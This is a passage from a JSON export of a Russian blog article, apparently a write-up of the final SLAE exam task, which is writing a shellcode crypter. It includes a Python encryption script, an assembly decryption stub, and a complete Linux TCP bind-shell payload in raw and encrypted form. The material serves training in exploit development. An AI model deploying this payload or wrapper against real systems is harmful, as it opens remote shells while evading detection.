alt=\"image\"><\/p>\n<p>  \u041a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0432\u0442\u043e\u0440\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e. \u041a\u043e\u0434 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0440\u0430\u0432\u0435\u043d 100.<\/p>\n<h4>7. \u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a<\/h4>\n<p>  \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432 \u043a\u0443\u0440\u0441\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0448\u0438\u0444\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u043e\u0433\u043e \u044f\u0437\u044b\u043a\u0430 \u0421 \u0438 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a, \u044f \u0440\u0435\u0448\u0438\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043d\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435, \u0442.\u043a. \u043a\u0443\u0440\u0441 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u0438\u043c\u0435\u043d\u043d\u043e \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0443, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u0435 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f.<\/p>\n<p>  <b>crypter.py<\/b>  <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python # -*- coding: utf-8 -*-  import sys import random  if len(sys.argv) != 2: \tprint(&quot;Enter shellcode in hex&quot;) \tsys.exit(0)  shellcode = sys.argv[1] plain_shellcode = bytearray.fromhex(shellcode)  # Generating key key_length = len(plain_shellcode) r = ''.join(chr(random.randint(0,255)) for _ in range(key_length)) key = bytearray(r.encode())  encrypted_shellcode = &quot;&quot; plain_key = &quot;&quot;  for b in range(len(plain_shellcode)): \tenc_b = (plain_shellcode[b] + key[b]) &amp; 255 \tencrypted_shellcode += '%02x' % enc_b \tplain_key += '0x'+ '%02x' % key[b] + ','  print('*'*150) print(encrypted_shellcode) print('*'*150) print(plain_key) print('*'*150) print(key_length)<\/code><\/pre>\n<p>  \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u00ab\u0441\u043a\u0435\u043b\u0435\u0442\u00bb:<\/p>\n<pre><code class=\"plaintext\">\tsection .text global _start  _start: \t; push encrypted shellcode \t&lt;PUSH ENCRYPTED SHELLCODE&gt;  \tjmp getdata next:\tpop ebx  \tmov esi, esp \tmov edi, esp \t; place key length \tmov ecx, &lt;KEY LENGTH&gt;  decrypt: \tlodsb \tsub al, byte [ebx] \tinc ebx \tstosb \tloop decrypt  \tjmp esp \t; exit \txor eax, eax \tmov al, 1 \txor ebx, ebx \tint 0x80   getdata: call next \t; Place key on next line \tkey db &lt;CIPHER KEY&gt;<\/code><\/pre>\n<p>  \u0414\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e 3 \u0432\u0435\u0449\u0438: push-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0441 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u043c, \u0434\u043b\u0438\u043d\u0430 \u043a\u043b\u044e\u0447\u0430 \u0438 \u0441\u0430\u043c \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u0417\u0430\u0448\u0438\u0444\u0440\u0443\u0435\u043c TCP bind shell \u0448\u0435\u043b\u043b\u043a\u043e\u0434. \u0412\u044b\u0432\u0435\u0434\u0435\u043c \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c \u043e\u043f\u043a\u043e\u0434:<\/p>\n<pre><code class=\"plaintext\">$hexopcode bind_tcp_shell  31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80<\/code><\/pre>\n<p>  \u0417\u0430\u0448\u0438\u0444\u0440\u0443\u0435\u043c \u0435\u0433\u043e:<\/p>\n<pre><code class=\"plaintext\">$.\/crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80 *******************************Encrypted shellcode******************************* 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13 ***********************************KEY******************************************* 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93, ***********************************KEY LENGTH************************************ 105<\/code><\/pre>\n<p>  \u0412\u044b\u0432\u0435\u0434\u0435\u043c \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c push-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043d\u0430\u0448\u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430:<\/p>\n<pre><code class=\"plaintext\">$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13 \tpush 0x90909013 \tpush 0x8fb7726f         ...<\/code><\/pre>\n<p>  \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u043c \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0432 asm-\u0444\u0430\u0439\u043b\u0435.<\/p>\n<pre><code class=\"plaintext\">\tsection .text global _start  _start: \t; push encrypted shellcode \tpush 0x90909013 \tpush 0x8fb7726f \tpush 0x4cad864b \tpush 0xbf09ba20 \tpush 0x2c13f1e5 \tpush 0x1e36bff2 \tpush 0x83a47bf3 \tpush 0x76b90c8f \tpush 0xfa73b77f \tpush 0x4c55318b \tpush 0xab3cb9c5 \tpush 0x19874bc0 \tpush 0x750a73dd \tpush 0x18da4250 \tpush 0xa338c711 \tpush 0xb1491492 \tpush 0x2d398f06 \tpush 0x35c54629 \tpush 0xe1d514c6 \tpush 0x2dfc14c5 \tpush 0xff29aecc \tpush 0xb4f718cc \tpush 0xac388f5d \tpush 0xfb457228 \tpush 0x27b52d90 \tpush 0x2d6378f4 \tpush 0x8df4f24a  \tjmp getdata next:\tpop ebx  \tmov esi, esp \tmov edi, esp \t; place key length \tmov ecx, 105  decrypt: \tlodsb \tsub al, byte [ebx] \tinc ebx \tstosb \tloop decrypt  \tjmp esp \t; exit \txor eax, eax \tmov al, 1 \txor ebx, ebx \tint 0x80   getdata: call next \t; Place key on next line \tkey db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,<\/code><\/pre>\n<p>  \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c<\/p>\n<pre><code class=\"plaintext\">$nasm32 encrypted_bind<\/code><\/pre>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u043f\u043a\u043e\u0434 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430<\/p>\n<pre><code class=\"plaintext\">$popcode encrypted_bind<\/code><\/pre>\n<p>  \u041f\u043e\u043c\u0435\u0441\u0442\u0438\u043c \u0432\u0441\u0451 \u044d\u0442\u043e \u0432 shellcode.c, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/84\/t5\/5t\/84t55tdqgrnbbq9lbdh6_798j6a.png\" alt=\"image\"><\/p>\n<h3>\u0421\u0441\u044b\u043b\u043a\u0438<\/h3>\n<p>  \u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0444\u0430\u0439\u043b\u044b \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043d\u0430\u0439\u0442\u0438 <a href=\"https:\/\/github.com\/2S1one\/SLAE\">\u0437\u0434\u0435\u0441\u044c.<\/a><\/p>\n<p>  <a href=\"https:\/\/dsec.ru\/all\/slae-security-linux-assembly-expert-exam\/\">\u041f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.<\/a><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/dsec\/blog\/488416\/\"> https:\/\/habr.com\/ru\/company\/dsec\/blog\/488416\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/company\/dsec\/blog\/488416\/\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/nj\/sc\/fb\/njscfbnkoirqggp_ns8h9upvies.png\" alt=\"image\"><\/p>\n<p>  Security Linux Assembly Expert \u2014 \u043e\u043d\u043b\u0430\u0439\u043d-\u043a\u0443\u0440\u0441 \u0438 \u044d\u043a\u0437\u0430\u043c\u0435\u043d \u043f\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043c 32-\u0431\u0438\u0442\u043d\u043e\u0433\u043e \u044f\u0437\u044b\u043a\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 Intel \u0432 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0443\u0440\u0441 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430\u043c, \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0430\u043c \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u0436\u0435\u043b\u0430\u0435\u0442 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u0445 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0430 \u0438 \u043d\u0430\u0443\u0447\u0438\u0442\u044c\u0441\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b. \u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0443\u0440\u0441\u0430 \u0432\u044b \u043d\u0430\u0443\u0447\u0438\u0442\u0435\u0441\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u0432\u044b\u0437\u043e\u0432\u0430\u043c\u0438 Linux&#8217;a, \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b, \u043d\u0430\u0447\u043d\u0435\u0442\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430. \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u044d\u043a\u0437\u0430\u043c\u0435\u043d\u0430 \u043f\u043e \u044d\u0442\u043e\u043c\u0443 <a href=\"http:\/\/securitytube-training.com\/online-courses\/securitytube-linux-assembly-expert\/\">\u043a\u0443\u0440\u0441\u0443<\/a>. <\/p>\n<p>  \u041f\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c \u044d\u043a\u0437\u0430\u043c\u0435\u043d\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c 7 \u0437\u0430\u0434\u0430\u043d\u0438\u0439:<\/p>\n<ol>\n<li>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c TCP Bind Shell<\/li>\n<li>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c Reverse TCP Shell<\/li>\n<li>\u0420\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u0442\u0435\u0445\u043d\u0438\u043a\u043e\u0439 egghunter \u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u044d\u0442\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u0438<\/li>\n<li>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u043a\u043e\u0434\u0430<\/li>\n<li>\u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c 3 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430, \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 msfvenom&#8217;\u043e\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 GDB\/ndisasm\/libemu<\/li>\n<li>\u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u043e\u043b\u0438\u043c\u043e\u0440\u0444\u043d\u043e\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 3 \u043b\u044e\u0431\u044b\u0445 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432 \u0438 shellstorm&#8217;\u0430.<\/li>\n<li>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a \u043a\u043e\u0434\u0430<\/li>\n<\/ol>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-300421","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/300421","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=300421"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/300421\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=300421"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=300421"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=300421"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}